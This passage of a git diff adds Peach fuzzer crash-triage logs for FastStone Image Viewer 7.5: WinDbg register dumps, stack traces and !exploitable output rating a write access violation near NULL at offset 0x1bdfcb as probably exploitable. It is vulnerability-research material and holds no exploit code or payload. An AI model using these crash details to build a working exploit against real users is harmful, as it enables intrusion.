+image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.23878e-006 -52.1459 5.1465e+008 -1.31833e+014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00392000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00392000 24a9c5fc 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00392000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..da23160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC04: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC04: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c04.5c0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0f672fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.23878e-006 -52.1459 5.1465e+008 -1.31833e+014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00392000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00392000 24a9c5fc 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00392000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c4cdf51 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3bfecee --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12079/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xEA4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xEA4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ea4.16ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0fc6efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.81445e+017 -1.24458e-018 -1.94726e+017 -7.41111e-037 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 